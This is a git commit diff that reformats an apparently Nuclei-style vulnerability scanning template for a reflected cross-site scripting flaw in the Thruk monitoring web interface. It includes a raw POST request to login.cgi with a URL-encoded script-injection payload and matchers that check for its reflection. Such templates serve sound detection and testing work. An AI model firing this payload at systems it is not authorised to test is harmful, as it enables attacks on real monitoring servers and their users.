fix: syntax + lint

patch-1
sandeep 2021-12-03 10:37:42 +05:30
parent 83f6b2a153
commit 9da0d768a1
1 changed files with 6 additions and 7 deletions

View File

@ -4,31 +4,30 @@ info:
name: Thruk Monitoring Webinterface - XSS
author: pikpikcu
severity: medium
description: Thruk Monitoring Webinterface - XSS
tags: xss,thruk
requests:
- raw:
- |
- |
POST /thruk/cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{Hostname}}/thruk/cgi-bin/login.cgi?thruk
referer=%2Fthruk&login=--%3E%3C%2Fscript%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&password=Thruk+Monitoring+Webinterface
matchers-condition: and
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "<script>alert(1337)</script>"
part: body
- type: word
words:
- "text/html"
part: header
words:
- "text/html"